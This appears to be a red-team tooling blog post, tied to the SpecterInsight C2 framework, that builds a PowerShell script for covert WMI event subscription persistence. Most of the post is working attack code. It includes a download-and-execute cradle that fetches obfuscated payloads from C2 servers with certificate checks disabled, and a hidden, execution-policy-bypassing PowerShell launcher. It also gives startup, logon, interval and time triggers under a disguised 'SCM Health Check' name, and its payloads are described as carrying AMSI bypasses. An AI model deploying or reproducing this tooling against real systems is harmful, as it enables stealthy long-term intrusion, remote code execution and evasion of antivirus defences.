Persistence with WMI Event Subscription and PowerShell Cradles

Overview

In this post, we are going to demonstrate how to build a script to automate persistence lay down via WMI Event Subscription and dynamically generated PowerShell payloads. By the end, we will have a single parameterized script that can be leveraged to establish signature resistant persistence, thus alleviating much of the tedious manual work typically involved. This will free our operators up so that they can think at the TTP level during the engagement as opposed to the individual command level.

The tools and technologies l we will be using are:

Background Knowledge

What Are WMI Event Subscriptions?

Windows Management Instrumentation (WMI) event subscription is a feature within the Windows operating system that allows applications and scripts to be notified of events occurring on the system. WMI itself is a management framework that provides a standardized way for administrators to query, monitor, and control system resources.

With event subscriptions, a user or application can subscribe to specific events, such as system events or changes in system configuration, and receive notifications when these events occur. This functionality is often used for monitoring purposes, system automation, and management tasks.

However, from a security perspective, attackers may misuse WMI event subscriptions for persistence. By creating a subscription that triggers malicious actions in response to specific events, they can maintain unauthorized access to a compromised system over an extended period.

Ultimately, there are two components that define WMI Event Subscription:

  • WMI Event Filters: A WMI event filter is a component within the Windows Management Instrumentation (WMI) infrastructure that defines the criteria for selecting events of interest. It acts as a set of conditions or rules that determine which events will trigger a response or action. Event filters are a key part of the WMI eventing system, allowing users or applications to specify the circumstances under which they want to be notified.
  • WMI Event Consumers: A WMI event consumer is a component in the Windows Management Instrumentation (WMI) architecture responsible for specifying the action or response to be taken when a WMI event occurs. In the context of event subscriptions, the event consumer defines what happens in response to the events that meet the criteria specified by the associated event filter.

WMI Event Filters

  • Event Class Filters: These filters target specific WMI classes representing system events. For instance, a filter could focus on events related to file modifications, system startups, or user logins.
  • Query Language Filters: Filters using the WMI Query Language (WQL) to specify conditions for event triggering. This offers flexibility in defining complex criteria based on properties, values, and relationships within the WMI data model.
  • Time Interval Filters: This type of filter triggers events based on time intervals or schedules. For example, an event could be set to occur daily, weekly, or at specific intervals, providing a way to schedule actions or checks.
  • Property Value Filters: These filters focus on changes in specific property values within WMI classes. For instance, a filter might be set to trigger an event when the free disk space on a drive falls below a certain threshold.

for our automation script, we want to offer multiple types of triggers, so we are going to leverage Event Class and Time Interval filters.

WMI Event Consumers

Event consumers can take various forms, ranging from executing a script or command-line action to launching a program, logging an entry, or triggering some other response based on the conditions set by the associated event filter. The following list describes several types of event consumers:

  • ActiveScriptEventConsumer: Executes a script or program in response to a WMI event. This provides flexibility in responding to events through custom scripts written in languages like VBScript or JScript.
  • CommandLineEventConsumer: Invokes a command-line executable or script, allowing for straightforward execution of external programs or scripts as a response to WMI events.
  • WMICommandLineEventConsumer: Similar to CommandLineEventConsumer, but specifically designed for executing commands in the context of the WMI service, which can be beneficial for management and automation tasks.

When building a persistence mechanism, I typically try to minimize leaving artifacts on disk such as scripts or executables. In order to minimize our presence on disk, we’ll use the CommandOineEventConsumer to launch PowerShell to execute a small PowerShell cradle.

Employment Considerations

In order to leverage this technique, you must run the script in a high integrity process You can verify that your process is high integrity with the “Get Current Process Information” SpecterScript:

CommandLine                                                  IntegrityLevel
-----------                                                  --------------
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"  Medium

Building a Script to Automate WMI Persistence

Define Parameters

The first thing we’re going to do is define the parameters for the script. Here are the options we want to expose:

  • FilterName (string): The name we will use to register the filter.
  • ConsumerName (string): The name we will use to register the consumer.
  • Trigger (string): The type of event to use for persistence (e.g. OnStartup, OnLogon, OnInterval, OnTime)
  • IntervalPeriod (int): The number of seconds between events
  • ExecutionTime (TimeSpan): The exact time the payload will run each day

We also want to include reasonable default values. We’ll start off with the variables below and clean them up later when we add a param block and validation.

[string]$FilterName = 'SCM Health Check Filter'
[string]$ConsumerName = 'SCM Health Check Consumer'
[string]$Trigger = 'OnStartup'
[int]$IntervalPeriod = 3600
[string]$ExecutionTime = '10:00:00'
[string]$Build

Payload Generation

Next, we need a way to dynamically generate a new payload every time we run this script. Ideally, we want the payload to be obfuscated so that we get something new and unique every time. Fortunately, SpecterInsight provides a way to generate payloads through a Web API endpoint. This endpoint will automatically generate a new obfuscated PowerShell payload that loads and runs a new Specter implant with the necessary bypasses to ensure a secure shell (i.e. the internal commands will not pass through the installed AV). It does this through an internal obfuscation graph that applies various randomized code transforms to generate new and unique payloads every time a web request is made to the endpoint.

The following snippet generates a list of URLs where PowerShell payloads are generated and hosted by the server.

#Get the URLs for the cradle generator
$urls = (urls $Build | % { $_.Trim('/') } | % { "'$_/static/$Build/downloads/1'" }) -Join ", ";

Now that we have the PowerShell stager URLs stored in the $urls variable, we can define a PowerShell cradle:

#Build the task
$task = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}; `$urls = @($urls); foreach(`$url in `$urls) { try { `$a = (New-Object Net.WebClient).DownloadString(`$url); iex `$a; } catch { } }";

With the PowerShell cradle stored in the $task variable, we can build the launcher for it.

#Define the PowerShell command to run the cradle
$command = "powershell.exe -WindowStyle hidden -NonInt -NoExit -ep bypass -nop -c `"$task`"";

With that in place, we now have a PowerShell command that will download and execute a dynamically generated payload. We can now integrate this command with a WMI event filter and consumer to establish persistence.

Define WMI Event Filter

To build this script, we will support four kinds of filter events:

  • OnStartup: Runs within 4 to 5 minutes after startup in order to give the system time to complete initialization, start networking services, and throttle back on resource utilization to enable the best chance of a successful callback.
  • OnLogon: Runs within 10 seconds of any loggon event.
  • OnInterval: Runs on an operator specified interval (e.g. every X seconds). Unfortunately, there isn’t an option for jitter, so these events will be pretty predictable.
  • OnTime: Runs within 60 seconds of an operator specified time every day.

The snippet below builds the WMI event filter queries based on the $Trigger parameter.

#Build the filter query
$TimerId = Get-Random;
Switch ($Trigger) {
	'OnStartup' {
		$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
	}
	
	'OnLogon' {
		$query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
	}
		
	'OnInterval' {
		Set-WmiInstance -class '__IntervalTimerInstruction' -Arguments @{ IntervalBetweenEvents = ($IntervalPeriod * 1000); TimerId = $TimerId } | Out-Null
		$query = "Select * from __TimerEvent where TimerId = '$TimerId'"
	}
		
	'OnTime' {
		$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ExecutionTime.Hour.ToString()) AND TargetInstance.Minute = $($ExecutionTime.Minute.ToString()) GROUP WITHIN 60"
	}  
}

Now we need to register the filter with Set-WmiInstance.

#Register the filter with our custom query
$FilterArgs = @{
	Name=$FilterName;
	EventNameSpace='root\CimV2';
	QueryLanguage="WQL";
	Query=$query;
};

#This actually creates the filter
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $FilterArgs

Define WMI Event Consumer

Fortunately, we only have to support one type of W MI event consumer, and that is the CommandLineEventConsumer.

#Register a commandline consumer
$ConsumerArgs = @{
	name=$ConsumerName;
	CommandLineTemplate=$command;
}

#Register the consumer. Nothing happens yet until we bind.
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

Bind the Consumer to the Filter

Now we have two unassociated components, and we need to tell WMI to execute the consumer when the filter is raised. In WMI terminology, we need to bind the consumer to the filter.

#Bind the filter to the consumer
$FilterToConsumerArgs = @{
	Filter = $Filter;
	Consumer = $Consumer;
}

#Bind the consumer to the filter
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

Define Uninstall Script and Log Details

Now I like to make life easier on my future self, and I know future me is going to forget all about the parameters I used to drop persistence… which usually means I have to go threat hunting for myself to cleanup at the end of an engagement. Not ideal, so we’re going to pay it forward and generate an uninstall script with all of the necessary parameters built in. Additionally, we are going to generate a unique GUID to track this persistence method

#Generate persistence ID
$id = [Guid]::NewGuid().ToString().Replace("-", "");

#Log output
New-Object PSObject -Property @{
	Persistence = New-Object PSObject -Property @{
		Id = $id;
		Event = "Create";
		Success = $success;
	    Method = "WMI Event Subscription";
	    Profile = "System";
	    Trigger = $Trigger;
	    FilterName = $FilterName;
	    ConsumerName = $ConsumerName;
	    Build = $Build;
	    UninstallScript = @"
try {
	`$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$ConsumerName'"
	`$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$FilterName'"
	`$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {`$(`$EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
	`$TimerIdToRemove = Get-WmiObject -Class __IntervalTimerInstruction -Filter "TimerId='$TimerId'"
	
	`$FilterConsumerBindingToCleanup | Remove-WmiObject
	`$EventConsumerToCleanup | Remove-WmiObject
	`$EventFilterToCleanup | Remove-WmiObject
	if(`$TimerIdToRemove -ne `$null) { `$TimerIdToRemove | Remove-WmiObject }
	`$success = `$true
} catch {
	`$success = `$false
	throw
}
	    
New-Object PSObject -Property @{
	Persistence = New-Object PSObject -Property @{
		Id = "$id";
		Event = "Delete";
		Success = `$success;
	    Method = "WMI Event Subscription";
	    Profile = "System";
	    Trigger = "$Trigger";
	}
}
"@;
	}
}

The snippet above will generate a PSObject that will eventually get serialized back to the C2 server, where it will get converted to JSON and shipped off to ELK for monitoring and tracking. The JSON block below is an example of what this output should look like.

{
  "Persistence": {
    "Id": "babc72a228f94b1fb98d9c232d078e9b",
    "Method": "WMI Event Subscription",
    "Trigger": "OnInterval",
    "Profile": "System",
    "Event": "Create",
    "Success": true,
    "UninstallScript": "try {\r\n\t$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'SCM Health Check Consumer'\"\r\n\t$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'SCM Health Check Filter'\"\r\n\t$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\"\r\n\t$TimerIdToRemove = Get-WmiObject -Class __IntervalTimerInstruction -Filter \"TimerId='44631667'\"\r\n\t\r\n\t$FilterConsumerBindingToCleanup | Remove-WmiObject\r\n\t$EventConsumerToCleanup | Remove-WmiObject\r\n\t$EventFilterToCleanup | Remove-WmiObject\r\n\tif($TimerIdToRemove -ne $null) { $TimerIdToRemove | Remove-WmiObject }\r\n\t$success = $true\r\n} catch {\r\n\t$success = $false\r\n\tthrow\r\n}\r\n\t    \r\nNew-Object PSObject -Property @{\r\n\tPersistence = New-Object PSObject -Property @{\r\n\t\tId = \"babc72a228f94b1fb98d9c232d078e9b\";\r\n\t\tEvent = \"Delete\";\r\n\t\tSuccess = $success;\r\n\t    Method = \"WMI Event Subscription\";\r\n\t    Profile = \"System\";\r\n\t    Trigger = \"OnInterval\";\r\n\t}\r\n}",
    "ConsumerName": "SCM Health Check Consumer",
    "FilterName": "SCM Health Check Filter"
  }
}

Parameter Block for GUI Input

Lastly, we’re going to cleanup the parameters and convert them to a parameter block so that the SpecterInsight UI parses them into friendly controls. We will also add a bit of input validation by adding some validation attributes to the script parameters.

We’re going to give descriptions for each of the parameters by defining the HelpMessage property of the ParameterAttribute. Specifically for the $FilterName and $ConsumerName parameters, we are going to ensure that the operator supplies some value by using the ValidateNotNullOrEmpty attribute. SpecterInsight will prevent the operator from tasking an implant with this script if there is no input here.

[Parameter(Mandatory = $true, HelpMessage = "The name of the WMI event filter.")]
[ValidateNotNullOrEmpty()]
[string]$FilterName = 'SCM Health Check Filter',

[Parameter(Mandatory = $true, HelpMessage = "The name of the WMI event consumer.")]
[ValidateNotNullOrEmpty()]
[string]$ConsumerName = 'SCM Health Check Consumer',

The $Trigger parameter is an enumerated value, meaning there is a finite set of possible values it could be. We can limit this parameter to a subset of inputs by using the ValidateSetAttribute with a comma separated list of values. Ultimately, the UI will render this as a ComboBox.

[Parameter(Mandatory = $true, HelpMessage = "The event that will run a new PowerShell cradle.")]
[ValidateSet('OnStartup', 'OnLogon', 'OnInterval', 'OnTime')]
[string]$Trigger = 'OnStartup',

The next parameter is specific to the OnInterval trigger and specifies the number of seconds between events. We specify the type as an integer so that only integer values will be accepted.

[Parameter(Mandatory = $false, HelpMessage = "The number of seconds between executions of the PowerShell cradle if using the OnInterval trigger.")]
[int]$IntervalPeriod = 3600,

The next parameter is specific to the OnTime trigger and represents an exact time that the event will be raised every day. Our input should be a TimeSpan value to ensure only valid TimeSpan strings will be parsed.

[Parameter(Mandatory = $false, HelpMessage = "A specific time to execute the PowerShell cradle if using the OnTime trigger in hh:mm:ss format.")]
[ValidateNotNull()]
[TimeSpan]$ExecutionTime = '10:00:00',

Finally, we decorate the $Build parameter with a BuildAttribute. This will instruct the GUI to create a ValidationSet from a list of all SpecterInsight build identifiers resulting in a ComboBox containing only valid options. The default value will be set to the current implants build identifier as that is most likely what the operator will choose, but sometimes you may want to use a different implant configuration for persistence. This parameter gives the operator that flexibility.

[Parameter(Mandatory = $true, HelpMessage = "The Specter build identifier.")]
[ValidateNotNullOrEmpty()]
[Build]
[string]$Build

After putting all of that together, the UI generated from this script looks like this:

Results

Now, let’s test the script. We fire up SpecterInsight and capture a callback.

After scheduling the task, the deployed Specter retrieves the task on the next checkin and executes it in a secure PowerShell session hosted internally. The results are serialized back to the C2 server and converted to JSON. We can then view the results in the Command History viewer.

Our persistence method output was captured and shipped off to Elastic where we can view it along side any other established persistence methods in the Persistence dashboard.

We can then drill down into the event to see the full contents of the document containing all of the relevant fields to the technique we used including FilterName, ConsumerName, and the uninstall script.

Conclusion

And now we have a fully automated persistence technique using WMI event subscription. Just add the script to the Command Builder and run. To quickly summarize, we now have a script that:

  • Generates a PowerShell cradle that downloads and executes a PowerShell payload from the C2 server
  • Each payload is obfuscated and different on every execution
  • The PowerShell payloads contain built-in AMSI bypasses
  • We added support for four trigger methods: OnStartup, OnLogon, OnInterval, and OnTime
  • Configured output to log the details of our persistence mechanism for reporting
  • Generated an uninstall script to cleanup

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top